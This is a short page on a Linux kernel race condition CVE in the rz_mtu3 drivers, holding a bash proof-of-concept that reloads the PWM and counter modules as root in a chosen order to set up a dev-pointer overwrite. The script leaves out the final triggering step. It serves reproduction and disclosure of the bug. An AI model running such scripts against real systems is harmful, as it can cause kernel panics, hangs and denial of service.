CVE-2026-31740 Linux内核竞态条件漏洞

#!/bin/bash # PoC: Triggering the race condition by controlling module load order # This script attempts to reproduce the scenario where the dev member is overwritten. if [ "$(id -u)" -ne 0 ]; then echo "This script must be run as root." exit 1 fi echo "[+] Unloading existing drivers to reset state..." modprobe -r rz_mtu3_counter 2>/dev/null modprobe -r rz_mtu3_pwm 2>/dev/null echo "[+] Loading PWM driver first..." modprobe rz_mtu3_pwm if [ $? -ne 0 ]; then echo "[-] Failed to load PWM driver. Hardware might not be present." exit 1 fi echo "[+] Loading Counter driver second (potential overwrite of dev pointer)..." modprobe rz_mtu3_counter if [ $? -ne 0 ]; then echo "[-] Failed to load Counter driver." exit 1 fi echo "[+] Attempting to trigger Runtime PM usage via counter interface..." # In a vulnerable kernel, accessing the counter device might trigger # runtime PM calls on the PWM device structure, leading to instability. if [ -e /dev/counter0 ]; then echo "Device found. Interaction might cause kernel panic or hang." # Actual interaction code omitted to prevent system crash else echo "Counter device interface not found." fi